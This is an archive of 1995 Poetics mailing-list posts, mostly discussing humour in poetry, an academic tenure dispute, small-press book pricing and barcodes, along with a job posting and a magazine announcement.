His posting was perhaps the most important one I've seen in my three months on the list. If such issues are not of vital importance to the community involved in poetry and poetics, I can't imagine what would be. Thanks again, Hank.

Peace,
Peter Baker

↑ Index

278. Peter Baker
How to Be a Poet
Fri 15 Dec 1995

This is a belated response to Mike Boughn's minimalist response to the query: how to be a poet? The response:

write poetry

leaves out the important corollary:

read the poetry written by others, now and in the past

and I would probably add:

know another language well enough to translate a poet in that language whose work you admire

Literally anyone can write poetry. All children are born poets. But to *be* a poet, I think we can agree, past the age of say, 15, is a little more complicated. Just a little. No?

Peace,
Peter

↑ Index

279. Dick Higgins
Re: comedy
Fri 15 Dec 1995

> *poetry's been covered exstensively on this strain, tho I would add much of Steve McCaffery's work as well.*
>
> *And perhaps ALL of the FLUXUS writers are quite vaudevillian. If it's around, LaMonte Young's *An Anthology* is a chronical of such acute silliness.*
>
> *Perhaps the funniest work I've read at ever is Raymond Queneau's _Exercises in Style_ (New Directions). A great example of finding humor in the most banal of circumstances, which I usually find more challenging than straight stand-up "schtick".*
>
> *I tend to get carried away w/ laughter but I would go as far as to toss people like Derrida and Baudrillard in as some of the most hilarious theorists.*
>
> *hahe,*
> *joshua*

Dear Joshua-

As one of the founders of Fluxus, I would like to observe that "silly" comes from the same archaic stem (there is debate on the details) as "soul"-as we find in the German word "selig" (blessed). May all our best work have its silly aspect!

Dick Higgins

Dick Higgins
P O Box 27
Barrytown, NY 12507
Tel- [redacted]
Fax- [redacted]
e-mail- [redacted]

↑ Index

280. **Michael Davidson**
Re: Help -- George Hartley
Fri 15 Dec 1995

I'd like to second Hank Lazer's appeal on behalf of George Hartley. I can't imagine a more productive, active scholar than GH, and given what Hank says about his reviewers there should have been little question of a positive vote right down the line. George has written an important first book and has published significant articles in important venues. I don't know what else Iowa wants in an academic, but if he were coming up for tenure in my dept. he'd certainly get it on the strength of his very active career. I would urge others to respond to the Dean and Provost--it may be that they are out of the loop when it comes to innovative poetics and the criticism thereof.

Michael Davidson

At 11:08 AM 12/14/95 CST6CDT, you wrote:
>Poetics Group:
>
>Given the tenor & topics of discussions of the past couple of weeks,
>be forewarned: this message is not for everyone. It is an appeal
>for help, and it involves academia and the treatment of an academic.
>It's also a fairly lengthy message, and it does involve a person's
>livelihood. If you've already lost interest, delete the message
>now....
>
>George Hartley and I have been communicating over his department's
>decision (October 20th - English Department - Ohio State University)
>to deny him tenure. After a series of very positive yearly reviews,
>George was inexplicably voted down for tenure. As many of you on
>this list may already know, George is the author of _Textual Politics and
>the Language Poets_ (1989, Indiana University Press - the first book of
>criticism published by an academic press on Language poetry).
>George's critical writing focuses on Marxist criticism. _Textual
>Politics_ includes a chapter, "Jameson's Perelman: Reification and
>the Material Signifier," which takes Jameson to task.
>
>In addition to _Textual Politics_, George has published 12 articles
>(2 of which have been republished by other journals), 6 book reviews,
>and 2 lengthy poems, in addition to delivering 7 scholarly talks. He
>has also nearly completed a second book (which he has been
>researching and writing for the past four years--on theories of
>language, representation, and ideology in Kant, Hegel, Nietzsche, and
>Jameson).

>
>George's external evaluators were Jerry McGann, Charles Altieri,
>Charles Bernstein, Robert Wess, and Michael Sprinker. While Sprinker
>offered a negative evaluation, the others were very positive.
>McGann, for example, concludes that Hartley would definitely have
>gotten McGann's positive vote for tenure at Virginia; Altieri calls
>Hartley's book on language poetry quite simply the best critical work
>done on that subject.
>
>I know Hartley to be a dedicated teacher and a fine, passionate
>thinker. I have written on _Textual Politics_ in an essay in ALH,
>and Hartley's work figures in my forthcoming _Opposing Poetries_.
>
>George has appealed the negative departmental decision to the Dean.
>I am in the process of writing a letter to George's Dean. If you are
>familiar with George's work and would like to help, I suggest that
>you write a letter to George's Dean. Letters need to arrive by
>January 3rd. Please address your letter to the Dean and send a copy
>to the provost and the president and to George.
>
>addresses:
>
>Kermit Hall, Dean of Humanities
>The Ohio State University
>186 University Hall
>230 N. Oval Mall
>Columbus, OH 43210
>
>Richard Sisson, Provost
>The Ohio State University
>203 Bricker Hall
>190 N. Oval Mall
>Columbus, OH 43210
>
>E. Gordon Gee, President
>The Ohio State University
>205 Bricker Hall
>190 N. Oval Mall
>Columbus, OH 43210
>
>George Hartley
>2023 Queensbridge Drive

>Columbus, OH 43235
>
>I will be glad to provide additional information as needed
>back-channel ([redacted]) so as not to clog up other Poetic
>discussions.
>
>My apologies for this lengthy intrusion into other threads of current
>discussions, but I believe that George has not been treated fairly
>and that letters may help him.
>
>Hank Lazer
>
>
Michael Davidson

↑ Index

281. **jms**
Re: Kink of Comedy
Sat 16 Dec 1995

I always think Stein is very funny. Or more recently, Kevin Davies.

Juliana Spahr

↑ Index

282. **Tenney Nathanson**
short, late-night version of a long, long list....
Sat 16 Dec 1995

> *I'm tempted to ask the opposite question. Who today writes poems that don't include humor?*
>
> *Ron*

WS Merwin

↑ Index

283. **Tenney Nathanson**
o plus
Sat 16 Dec 1995

AR Ammons is very very unfunny, esp when trying to be funny

↑ Index

284. Marjorie Perloff
Re: POETICS Digest - 14 Dec 1995 to 15 Dec 1995
Sat 16 Dec 1995

I want to second Aldon Nielsen's cautionary and practical note re: the very unfortunate George Hartley case. I heard about it from mutual friends at Ohio State a few weeks ago but thought I'd fill in a little background here.

I believe I was largely instrumental in first getting George this job. I spoke to the chair, wrote a letter raving about the language-poetry book, etc. Not only did they hire George, they hired Jessica Prinz, my student, who has a wonderful book ART DISCOURSE, DISCOURSE ON ART that many of you will know, and she has since gotten tenure. They hired a slew of other former students and terrific young people, incl. Nancy Johnson (composition & rhetoric), Sebastian Knowles, Walter "Mac" Davis, a fine Marxist theorist, etc. This year I was asked to do a tenure case for them on Jon Erickson who does very theoretical cutting edge stuff on theatre and writes plays, performance art, etc. I wrote a very positive letter and I take it so did others--it went through. I did not know George was up for tenure this year and was not asked to write, which, now that I think of it, must mean that they didn't want me to praise him yet again (as they knew I would). So how to interpret what happened? I don't know but will try to find out. It just may be a teaching problem. But you cannot just assume that some gross injustice has been done because Ohio State English dept. (not Iowa, Michael!) is one of the most forward-looking depts I know of and they are by no means opposed to the new poetries, to materialist criticism etc. As Aldon notes, just writing letters may do more harm than good, especially if they imply that there's some kind of conspiracy afoot against George's kind of work. So I would caution people on this list about writing letters till we find out what the problem supposedly was/is. Then we can do something more concrete.

Marjorie Perloff

↑ Index

285. Eryque Gleason
Re: comedy
Sat 16 Dec 1995

William Fuller's "byt" has some *very* dry humor in it...

everyone with children is passing by the obvious! FOX IN SOCKS (if you'll allow a good bit of latitude with the term poem) still a favorite read of mine.

Eryque

↑ Index

286. Charles Smith
Re: printed RRR (was Iowa's secret)
Sat 16 Dec 1995

Ed Foster wrote:

"well, maybe i'm wrong, but i think it's better to keep the price within a decent range--i.e., as low as possible--and then you'll have more readers, no small matter when the audience is about as small as the audience for any kind of book anywhere."

Geez Ed! That $16.95 sticker price on Gerrit Lansing's _Heavenly Tree/Soluble Forest_ seemed a bit high compared to similar collections available from say O Books, Chax, or Listening Chamber. Glad you published it; somebody had to & I ponied up the $, but OUCH!!!

all best,
Charles Smith

↑ Index

287. Ron Silliman
Re: comedy
Sat 16 Dec 1995

Merwin IS hilarious. He just doesn't know it.

↑ Index

288. Michael Boughn
Re: comedy
Sat 16 Dec 1995

Kevin Killian raises the interesting (and to me sometimes troubling) question of the difference between laughing with and laughing at. Obviously one of the great political equalizers is laughter. But having just tracked through the movement from _Paradise Lost_ to _The Rape of the Lock_ to _The Visions of the Daughters of Albion_, I can't help but realize that laughter can also sound shrill and shallow and defensive when it becomes geared solely toward laughing at those who have taken the tremendous risks satirists are incapable of taking.

Mike
[redacted]

↑ Index

289. **Dick Higgins**

Re: POETICS Digest - 14 Dec 1995 to 15 Dec 1995

Sat 16 Dec 1995

> *I want to second Aldon Nielsen's cautionary and practical note re: the very unfortunate George Hartley case. I heard about it from mutual friends at Ohio State a few weeks ago but thought I'd fill in a little background here.*
>
> *I believe I was largely instrumental in first getting George this job. I spoke to the chair, wrote a letter raving about the language-poetry book, etc. Not only did they hire George, they hired Jessica Prinz, my student, who has a wonderful book ART DISCOURSE, DISCOURSE ON ART that many of you will know, and she has since gotten tenure. They hired a slew of other former students and terrific young people, incl. Nancy Johnson (composition & rhetoric), Sebastian Knowles, Walter "Mac" Davis, a fine Marxist theorist, etc.*
> *This year I was asked to do a tenure case for them on Jon Erickson who does very theoretical cutting edge stuff on theatre and writes plays, performance art, etc. I wrote a very positive letter and I take it so did others--it went through.*
> *I did not know George was up for tenure this year and was not asked to write, which, now that I think of it, must mean that they didn't want me to praise him yet again (as they knew I would).*
> *So how to interpret what happened? I don't know but will try to find out. It just may be a teaching problem. But you cannot just assume that some gross injustice has been done because Ohio State English dept. (not Iowa, Michael!) is one of the most forward-looking depts I know of and they are by no means opposed to the new poetries, to materialist criticism etc.*
> *As Aldon notes, just writing letters may do more harm than good, especially if they imply that there's some kind of conspiracy afoot against George's kind of work. So I would caution people on this list about writing letters till we find out what the problem supposedly was/is. Then we can do something more concrete.*
>
> *Marjorie Perloff*

Of course I'm not in academia these days (actually I'm about to start teaching in Sweden half each year for a while-jag talar liten svenska), and I don't like to see shop talk in the POETICS group. But I do think your advice is probably the best--let someone who knows the department check the matter out and see what is what. I remember a tenure fight at Rutgers some years ago. I asked my friend if I should do anything, write any letters? He said: "keep out of the way." I did. He won on appeal. Campaigns can backfire so easily (I've seen that happen too), because they tend to embarrass their departments and thus to

involve the deans and members of the department who might otherwise have been simpatico.

I keep seeing "comedy" on the menu, but when I order it I just find bibliograohy, remarks about Ammons and his ilk who are barely noticed in the real world. What theories of comedy are afoot these days in academia? I have no idea. I once ventured a theory, unsatisfactorily, and the matter interests me--but I've no idea what you folks read.

Dick Higgins

Dick Higgins
P O Box 27
Barrytown, NY 12507
Tel- [redacted]
Fax- [redacted]
e-mail- [redacted]

↑ Index

290. **Dick Higgins**

Re: printed RRR (was Iowa's secret)

Sat 16 Dec 1995

> *Ed Foster wrote:*
>
> *"well, maybe*
> *i'm wrong, but i think it's better to keep the price within a decent*
> *range--i.e., as low as possible--and then you'll have more readers, no*
> *small matter when the audience is about as small as the audience for*
> *any kind of book anywhere."*
>
> *Geez Ed! That $16.95 sticker price on Gerrit Lansing's _Heavenly*
> *Tree/Soluble Forest_ seemed a bit high compared to similar collections*
> *available from say O Books, Chax, or Listening Chamber. Glad you published*
> *it; somebody had to & I ponied up the $, but OUCH!!!*
>
> *all best,*
> *Charles Smith*

Perhaps it should be required for all English Profs to take a quicky course in business. Assuming Lansing's book was printed in 1000 copies (typical) and that it cost $4500 to do, then its unit cost is $4.50. Its appropriate retail cost should therefore be between four and five times that amount--let's say $20--to cover dtore or distributor discounts, storage, shipping, warehousiung, insurance, etc. In most countries on thie earth it would be.

But Lansing's book is in competition with trade publishers items, especially with their novels. American book publishers make little money on book sales in comparison with rights sales. For them the book version is therefopre apt to be only an unfortunate necessity, which one gets over with as fast as possible--and with as high numbers as possible. This last is achieved by underpricing the book. The trade book is therefore in competition with the small press or special program (poetry is a special program item when trade publishers do such things---their objective is prestige), and it forces the price down on the latter by comparison. Even so, the great unwashed (like you and me) tends to see these categories as overpriced and snob luxuries, which fits right into the RadRight accusations of "elite," when what is really going on is that the books are not subsidized by rights sales, the trade publishers' equivalent of grants.

Alas--

Dick Higgins
P O Box 27
Barrytown, NY 12507
Tel- [redacted]
Fax- [redacted]
e-mail- [redacted]

↑ Index

291. **Jorge Guitart**

Re: Uncle Vanya in Reader's Digest

Sat 16 Dec 1995

[with words or silences by Tom Bell, Jordan Davis, Maria Damon, Gabrielle Wellford, Cris Cheek, Lisa Samuels, Sheila Murphy, Chris Scheil, & Jorge Guitart

> *newt of force*
> *too fond of*
> *chalk*
> *makes perspective dead*
>
> *run the pitter-patter of*
> *gallupatrot*
>
> *could never hold the temporal*
> *dwarf*
>
> *imitate walking*
>
> *knew i was the device*
> *of roundness*

> *obscuring panic*
> *grace*
> *parasol*
>
> *elfin gnocchi swollen*
> *shot pink*

↑ Index

292. Jim Rosenberg
Bar Codes
Sat 16 Dec 1995

This is a bit off topic, but since it's come up more than once now:

I believe it is a myth that barcodes encode the price. Frankly, I don't know where this idea comes from. The normal procedure -- say in a grocery store -- is for the barcode to contain nothing but a product identifying code. It may look to you like the register is scanning price, but that's not what's happening. The barcode reader scans the product code, this is sent to the store's computer where it's looked up in a database, and *the database* contains the price. Prices can change whenever they need to. I believe the way the product code works is that it's in two parts: there's an agency somewhere that registers companies assigning them a company code, and then each company assigns its own code for its individual products.

I'm not sure how it works for books, but I'd assume the system is similar; I'd be quite surprised if the barcode did not include the ISBN. A lot of the more sophisticated bookstores give you a register slip that shows the name of the book. Clearly that information is coming from a database.

There is no reason for a barcode sticker on a book to change when a price changes.

--
Jim Rosenberg http://www.well.com/user/jer/
CIS: 71515,124
WELL: jer
Internet: [redacted]

↑ Index

293. Kevin Killian
Re: comedy
Sat 16 Dec 1995

Michael Boughn ([redacted]) writes:

> *Kevin Killian raises the interesting (and to me sometimes troubling) question of the difference between laughing with and laughing at. Obviously one of the great political equalizers is laughter. But having just tracked through the movement from _Paradise Lost_ to _The Rape of the Lock_ to _The Visions of the Daughters of Albion_, I can't help but realize that laughter can also sound shrill and shallow and defensive when it becomes geared solely toward laughing at those who have taken the tremendous risks satirists are incapable of taking.*

And I'm thinking about this, and I have to agree. Yet I don't think "my" kind of laughter is capable of being dismissed just *because* it is shrill, defensive and shallow. There has to be a place in discourse for shrillness, shallowness and defensiveness, don't you think? They may be unpleasing to the ear, but they are the responses of a mind in extremis appalled yet impressed by the punitive nature of the insistence on the normative (by its "aura.") I don't mind playing Jerry Lewis to the insolent authority of Dean Martin (Charles Olson, Robert Duncan, etc etc); I can assert my selfhood only at the price of a continuing, humiliating dependency. As Steven Shaviro says (in *The Cinematic Body*), "Comedy in general is driven by the joint impulses of dependency and exhibitionism, with the latter both compensating for and replicating the former. Abjection is not cathartically discharged, but prolonged, sublimated and displaced by means of spectacle." Laterally: is it valuable to emphasize the polarity between "laughing at" and "laughing with"? Seems to me that every time we laugh "with" Bob Perelman, Charles Bernstein, etc., we are laughing "at" something or somebody else; and in the case of Blaser-which I think you, Michael, brought up as an example of "good" laughter-it seems plain to me that Blaser indeed is to poetry what Jerry Lewis is to the cinema-a great visionary poet of the abject, humiliated and (yes) the defensive. There are many styles of risk and his is one of the most daring, but I don't think it's particularly "sane."

Thanks! Kevin Killian

↑ Index

294. CAROLYN L. FORCHE-MATTISON

Arizona/Sheila Murphy

Sat 16 Dec 1995

I'm engaged in writing an introduction for an anthology of poets residing in Arizona, and have been pleased to see the inclusion of Sheila Murphy's work, but wonder if there are other poets, whom this list might recommend(?), working in innovative poetries in Arizona. While there is careful attention to ethnic/racial/cultural diversity in this particular gathering, I'm concerned that it represent the range of sensibilities as well. Please backchannel if you can help me with this. . .

Thank you so much.

--Carolyn

↑ Index

295. **Jordan Davis**
Re: Bar Codes/comedy menu
Sat 16 Dec 1995

---

the bar code on my copy of at the roots of the stars the short plays djuna barnes has three number strings: ISBN 1-55713-160-0, 51295, and 9 781557 131607. The list price of the book is $12.95. I don't think that 51295 that sits on top of the second bar code like the words "silent pillow" on top of the column of the last issue of the impercipient are actually part of the upc but I do think it's reasonable for people to think that the price is barcoded in.

and my theory of comedy is this:

↑ Index

296. **cris cheek**
Language aLive book series
Sat 16 Dec 1995

---

re: the Language aLIve series advertised here a couple of days back Pierre posted to let know that:

> *cris,*
> *can't read the prices -- they translated funny into ascii, like*
> *=A34.50 (uk) / =A35.50 (elsewhere)*

so - maybe he's not alone with his funny money and I'm happy to oblige -

1 issue only £four pounds + fifty pence (uk) / £five pounds + fifty pence (elsewhere)
2 issues £eight pounds (uk) / £ten pounds (elsewhere)
3 issues £eleven pounds (uk) / £thirteen pounds (elsewhere)

4 issues £fourteen pounds (uk) / £seventeen pounds (elsewhere) 5 issues £sixteen pounds (uk) / £eighteen pounds (elsewhere)

it pays to subscribe (as they say)

btw - I'm more than eager to swap.

love and love
cris

↑ Index

297. **Jordan Davis**
Re: Bar Codes/comedy menu
Sat 16 Dec 1995

---

sorry, that should read:

my theory of comedy are this:

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298. **Landers**
Re: Kink of Comedy
Sun 17 Dec 1995

My wife and I read Don Byrd's *Great Dimestore Centennial* to each other and there were points when we were laughing tears. In fact, early in the book he says, "it's not inappropriate to laugh. If you laugh the book will wait. It has perfect timing."

A friend who is a choreographer complained that people laughed at the wrong times during her work. It seems to me that laughter is not always a result of something funny.

A laugh, like an "aha!", is a visceral reaction. The choreographer's or the poet's idea has made contact. The reaction is a bounce in the solar plexus. Boing! I got it! Ha-ha-ha!

I want people to laugh during performances.

Pete Landers
[redacted]

p.s. Dick, 4 or 5 times the cost? I only double. No wonder I'm broke!

↑ Index

299. **Ken Edwards**
Barcodes
Sun 17 Dec 1995

All barcodes on books encode the isbn (product identification code which enables the bookshop's computer to look up the price and deduct the item from stock). Some barcodes also themselves encode the price - and any other information the publisher wishes. You can spot this because these barcodes have an extension, whereas isbn-only barcodes are compact.

Reality Street Editions' forthcoming _Out of Everywhere_ anthology will be our first title to carry a barcode. I've taken this step with reluctance, as I think barcodes are an unaesthetic intrusion on the design coherence of a book cover.

Our barcode will encode isbn only - among other reasons, because we're hoping for bookshop sales in foreign countries, eg the USA and Canada, where obviously the price will be different.

Incidentally, the reason why Cris' pound signs come out as gobbledygook is because ascii means "AMERICAN standard code for information interchange". In other words, the dollar sign is an ascii character, the pound sign is not. (The yen sign isn't even on my keyboard.) Cultural imperialism rules!

↑ Index

300. Ward Tietz
Gomringer, concrete poetry & humor
Sun 17 Dec 1995

Some of the comments of the last few days on comedy in poetry have seemed to point to the role of context in humor. It reminded me of Eugen Gomringer's reading / lecture here in Geneva a few months ago at the sound poetry festival. What was amazing about it was how charming it all was. Gomringer's reading was preceded by a short documentary on concrete poetry that was aired on Swiss television some 30 years ago. It was very formal and the rhetoric was rather didactic. A lot of the theoretical and aesthetic pronouncements seemed even a little silly in today's context, but as the evening unfolded it became clear that the documentary was in fact the perfect pre-text in contrast to what came next.

Gomringer's reading followed and it was brilliant, as were his descriptions of the individual concrete poems that were projected up on the screen. It was all amazingly funny, but in a way I have never quite seen at any poetry reading. Concrete poetry has been criticized for being somewhat corny and overly reliant on puns. In the performative dimension though, in this context, it was charming in the full sense of the word "charm."

Ward Tietz
Rte de St. Cergue 48a
CH-1260 Nyon
Switzerland

↑ Index

301. Dick Higgins
Re: Kink of Comedy
Sun 17 Dec 1995

> *My wife and I read Don Byrd's *Great Dimestore Centennial* to each other and there were points when we were laughing tears. In fact, early in the book he says, "it's not inappropriate to laugh. If you laugh the book will wait. It*

> *has perfect timing."*
>
> *A friend who is a choreographer complained that people laughed at the wrong times during her work. It seems to me that laughter is not always a result of something funny.*
>
> *A laugh, like an "aha!", is a visceral reaction. The choreographer's or the poet's idea has made contact. The reaction is a bounce in the solar plexus. Boing! I got it! Ha-ha-ha!*
>
> *I want people to laugh during performances.*
>
> *Pete Landers*
> [redacted]
>
> *p.s. Dick, 4 or 5 times the cost? I only double. No wonder I'm broke!*

Dear Pete-

Well, that's how the trade publisahers figure it-I know because I have worked for them. And of course the Wallace Foundation and CLMP people reflect trade publisher perspectives--"Let 'em eat caKE." I don't think they want us out of business, but they do not understand what business we are in-the business of disseminating new work and ideas, in which our only survival strategy is to generate gigs which will pay, since the books will not sell enough to do so even at a forced subsidized price.

Grim reflection for a pleasant Sunday.

Bests

Dick Higgins
P O Box 27
Barrytown, NY 12507
Tel- [redacted]
Fax- [redacted]
e-mail- [redacted]

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302. **Joe Amato**
Re: Kink of Comedy
Sun 17 Dec 1995

---

here's to second pete landers' remarks re don byrd's _the great dimestore centennial_... it's not just funny---don's sense of humor is dead serious... laughter can almost hurt when this is the case... my favorite section is the final book, "the book of the lighthouse"...

joe

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303. Tenney Nathanson
at the risk of
Sun 17 Dec 1995

> *Date: Sat, 16 Dec 1995 05:23:27 -0800*
> *From: Ron Silliman <[redacted]>*
> *Subject: Re: comedy*
>
> *Merwin IS hilarious. He just doesn't know it.*

at the risk of sending sparks flying, this would imply wouldn't it that Jung is also quite the jokester. A proposition w which I have no problem

Tenney

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304. Charles Bernstein
Writer Wanted for "Writer's Almanac" Radio Show
Sun 17 Dec 1995

---------- Forwarded message ----------
Date: Fri, 15 Dec 1995 14:30:13 -0500 (EST)
From: John Pearson <[redacted]>
Subject: Re: job posting

Thanks for contacting me about our need for assistance for the Writer's Almanac program with Garrison Keillor. I'd be most gratified if you posted something to your subscribers about the need; what follows is a description of the situation. Interested individuals can email me directly. ----------

The Writer's Almanac is a nationally broadcast program produced by Minnesota Public Radio that is hosted by Garrison Keillor. A new program is aired each day of the week on public radio stations. It includes historic and contemporary tidbits of the day along with the reading of a poem.

The program is seeking support for research and script-writing. The show uses seven scripts a week, each about 2.5 minutes long. We may be setting this position up as a freelance activity in which we might use more than a writer or two. Pay would be reasonable but not lucrative. Scripts can be emailed to our headquarters in St. Paul.

It would be important for the writer(s) to be able to hear the show on a regular basis (we may put parts of it on the Internet at some time, but that's a few months (or more) off!). If you wish to apply, we would like three sample Writer's

Almanac scripts along with a resume and cover letter. (If a script you wrote was aired we would compensate you.) In the scripts we would be looking for a demonstration of depth of research, editor's eye to select the 'right' elements for the almanac entries, and the ability to write a script that is sympathetic to Garrison's delivery and current script style.

For more information or to submit an application, email me: [redacted]

John Pearson
[redacted] Minnesota Public Radio
tel: [redacted] 45 East Seventh St., St. Paul, MN 55101
fax: [redacted] http://www. mnonline.org/mpr

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305. Charles Bernstein
West Coast LIne (fwd)
Sun 17 Dec 1995

---------- Forwarded message ----------
Date: Fri, 15 Dec 1995 22:14:53 -0600 (CST)
From: peter quartermain <[redacted]>

The most recent issue of WEST COAST LINE (#17, Fall 1995), guest edited by Peter Quartermain, contains 100 pages of recent British and Irish writing by Tony Baker, Richard Caddel, Miles Champion, Cris Cheek, Ken Edwards, Allen Fisher, Harry Gilonis, Alan Halsey, Randolph healy, Paul Holman, Peter Middleton, Billy Mills, Geraldine Monk, Maggie O'Sullivan, Bridget Penney, Peter Riley, Maurice Scully, Robert Sheppard, Colin Simms, Geoffrey Squires, Ian Stephen and Catherine Walsh, PLUS "A Gathering for Robin Blaser" with work from Charles Bernstein, Rachel Blau DuPlessis, Kevin Killian, Michele Leggott, Leslie Scalapino, Daphne Marlatt, Michael McClure, David Levi Straus, Jed Rasula, and Robert Hullot-Kentor, plus reviews of Norma Cole, Rosmarie Waldrop, Sau-Ling Cynthia Wong, King-Kok Cheung and Clayton Eshleman.

Anabatic for Horace by Bob Cobbing.
Full colour cover by Maggie O'Sullivan.

All 172 pages for a mere $10.00 PLUS $2.50 postage, from
West Coast Line, 2027 East Academic Annex, Simon Fraser University,
Burnaby, B.C., Canada V5A 1S6. Supplies are limited.
Subscriptions $30.00 a year (three issues) ($45.00 for institutions).

Peter Quartermain

128 East 23rd Avenue Voice and fax [redacted]
Vancouver e-mail [redacted]
BC Canada V5V 1X2

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306. **Michael Boughn**
Re: Comedy
Sun 17 Dec 1995

Kevin:

I don't think your laughter should be dismissed, either, and I apologize if that's how my post came across. It is much more complex than my simplistic dichotomy (with or at) allows for. You're right about that. For example, I know that my daughter needs to be able to laugh at her father. Every child needs that. More importantly, every parent, whether they admit it or not, needs to be laughed at. As the object of that laughter (which is much more bearable now than it was 6 years ago when it cut to the quick) I need to be able to honor it, which keeps me honest, but at the same time not to take it too seriously (ha! taking laughter seriously, that's a good one). It's something to do with what I see as the weirdness or mystery of authority, that we (authors especially) both must have it, but also constantly divest ourselves of it. What you refer to as Jerry Lewis is after all not Jerry Lewis but the creation of a successful and wealthy performer who, if he were as abject as all that, wouldn't be able to open his mouth publicly.

Perhaps it's the inflection that's the issue. The two poems you mention are very important poems to me, and though I can laugh at Robert Duncan and Charles Olson for occasionally taking things (themselves) too seriously, that laughter is always inflected with deep gratitude and love for the immeasurable gifts they gave me, and the risks they took to do that. Robin Blaser taught me that. (Charles Boer's _Charles Olson in Connecticut_ seems to me a marvelous book precisely because, unlike Tom Clark's, it manages to catch that complexity in the complexity of its laughter.)

Best,
Mike
[redacted]

↑ Index

307. Michael Boughn
Ontopoetics
Sun 17 Dec 1995

Peter:

I think you changed the question, which as I recall was originally "how do you know if you're a poet," as opposed to "what makes a poet." If I were to be asked that question today, I think my response would probably be: "the same way the garbageman knows he's a garbageman."

Best,
Mike
[redacted]

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308. Bill Luoma
Re: Uncle Vanya in Reader's Digest
Sun 17 Dec 1995

[with words or silences by Tom Bell, Jordan Davis, Maria Damon, Gabrielle Wellford, Cris Cheek, Lisa Samuels, Sheila Murphy, Chris Scheil, & Jorge Guitart

> *newt of force*
> *too fond of*
> *chalk*
> *makes perspective dead*
>
> *run the pitter-patter of*
> *gallupatrot*
>
> *could never hold the temporal*
> *dwarf*
>
> *imitate walking*
>
> *knew i was the device*
> *of roundness*
>
> *obscuring panic*
> *grace*
> *parasol*
>
> *elfin gnocchi swoll*
> *shot pink*
> *blue nevi*

↑ Index

309. **Bill Luoma**
Re: Don of Comedy
Sun 17 Dec 1995

Don Byrd gives great reading. I broke down laughing when he read the line:

x-7 was in the corner. And here feared it.

Where is that from?

↑ Index

310. **Joe Amato**
Re: Don of Comedy
Sun 17 Dec 1995

bill, that's don's _the great dimestore centennial again_, though the line you're thinking of methinks is a bit different, from the penultimate book, "the book of the sun, the book of man (complete)"...

best,

joe

↑ Index

311. **Dick Higgins**
Re: Kink of Comedy
Sun 17 Dec 1995

> *My wife and I read Don Byrd's *Great Dimestore Centennial* to each other and there were points when we were laughing tears. In fact, early in the book he says, "it's not inappropriate to laugh. If you laugh the book will wait. It has perfect timing."*
>
> *A friend who is a choreographer complained that people laughed at the wrong times during her work. It seems to me that laughter is not always a result of something funny.*
>
> *A laugh, like an "aha!", is a visceral reaction. The choreographer's or the poet's idea has made contact. The reaction is a bounce in the solar plexus. Boing! I got it! Ha-ha-ha!*
>
> *I want people to laugh during performances.*
>
> *Pete Landers*
> [redacted]

> *p.s. Dick, 4 or 5 times the cost? I only double. No wonder I'm broke!*

Dear Pete-

On top of that there is part of "cost of doing business" known as "cost of doing an invoice." Please see my reply to Charles Smith, who accuses me, perhaps correctly but certainly unintentionally, of being on a high horse with him (though know him I don't). But as I see it, any remarks we make on these exchanges are, however, not just addressed personally to each other but to fellow participants in the overall exchange, so they shouldn't usually be taken personally. Anyway, I've sent off my remarks to him on doing an invoice and what all this means in terms of what we EXPECT TO PAY vs. what we would NEED TO PAY if all costs were reflected in the price of a book. I do not have access to Lansing's book which Smith finds so overpriced, but I suspect the publisher was attempting to recoup his costs without eying the competition and market, naïve perhaps but certainly understandable.

Very bests

Dick Higgins
P O Box 27
Barrytown, NY 12507
Tel- [redacted]
Fax- [redacted]
e-mail- [redacted]

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312. **D. LaBeau**
Re: Arizona/Sheila Murphy
Sun 17 Dec 1995

On Sat, 16 Dec 1995, CAROLYN L. FORCHE-MATTISON wrote:

> *I'm engaged in writing an introduction for an anthology of poets residing in Arizona, and have been pleased to see the inclusion of Sheila Murphy's work, but wonder if there are other poets, whom this list might recommend(?), working in innovative poetries in Arizona. While there is careful attention to ethnic/racial/cultural diversity in this particular gathering, I'm concerned that it represent the range of sensibilities as well. Please backchannel if you can help me with this. . .*

Check out Rebecca Byrkit's poetry. She has a collection, Zealand, out from Sun/Gemini Press. Not language poetry but very innovative. She teaches in Tucson.

Also, Lisa Cooper, who I think still lives in Arizona, has some great things out from Chax Press.

Daniel LaBeau

↑ Index

313. FUNKHOUSER CHRISTOPH
comedy
Sun 17 Dec 1995

Remember the early part of the year
when the poetics list had some really comical moments?

The AHP said:

> *I was either reading Tjanting in an airport (strange since I haven't actually even seen this book). It was a really difficult text, and there were rhymed parts to it like a Charlie Bernstein piece. I think the poem had the f-word and the word love in it a lot. The airport was designed in a Russian sort of way with old people selling flavored vodka out of shopping carts. The really strange thing about this dream is how Silliman looked on the cover of the book. He had on a dress and I think he had something like glitter in his beard. He had his arms raised in a pose like Patti Smith on the cover of Easter and I saw that like Patti he hadn't shaved his armpits, and the hair was dyed green, like Dennis Rodman. He seemed happy. Strange dream, eh? Just thought I'd pass that along, and give everyone the chance to play armchair Freud. My analysis: I was thinking about dyeing my hair last night, which is where the unshaved, green armpits come in.*

-for those who weren't around then, check the EPC archives--
feb. '95, i think. (btw, this passage also shows up
in Bill Luoma's bio on the little magazine cd-rom)

Hopefully it's ok to add: Hakim Bey rages (then again, that's poetic terrorism, not poetry, right?), &, without question, some of Nate Mackey's prose is *hilarious* - Eileen Myles checks in w/some terrific (sardonic?) humor too. &, naturally, there will always be a few underinformed people who think language poetry is some kind of twisted joke...

h h h !

lastly, if you haven't checked it out, DIU (Descriptions of an Imaginary Universe) might be of interest to anyone on this list. the annals of this ancient electronic poetry newsletter contain some riotously funny moments (to boot,

Michael Joyce has said it is "the best thing on the Internet"). Check out the new issue (#32), just out today, with Edgar Allen Poe's write-up of Ted Pearson.

http://writing.upenn.edu/epc/ezines/diu

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314. Robert Drake
Re: printed RRR (was Iowa's secret)
Sun 17 Dec 1995

---

the point is, that shortrun books are expensive to produce. actual printing cost vary widely by region--i just had a 144 page book quoted at $2100 for 1000 copies--so i wouldn't want to quibble w/ the numbers others have given... but the actual printing bill is far from the whole story. design costs, promotion, postage, mailing envelopes, free copies to reviewers & collegues, all add up to significant costs. charles breaks down one example in his "Provisional Institutions" essay (i'll append the section for those w/out access to the EPC). the actual numbers would be very different for Burning Press (Sun&Moon is obviously much more businesslike), but the upshot is the same.

"bottom line": no-one is making any significant $$ publishing poetry, at $6 or $20 per copy.

lbd
burning press/trr
[redacted]

===== from: "Provisional Institutions: Alternative Presses and Poetic Innovation" http://writing.upenn.edu/epc/authors/bernstein/provisional =====

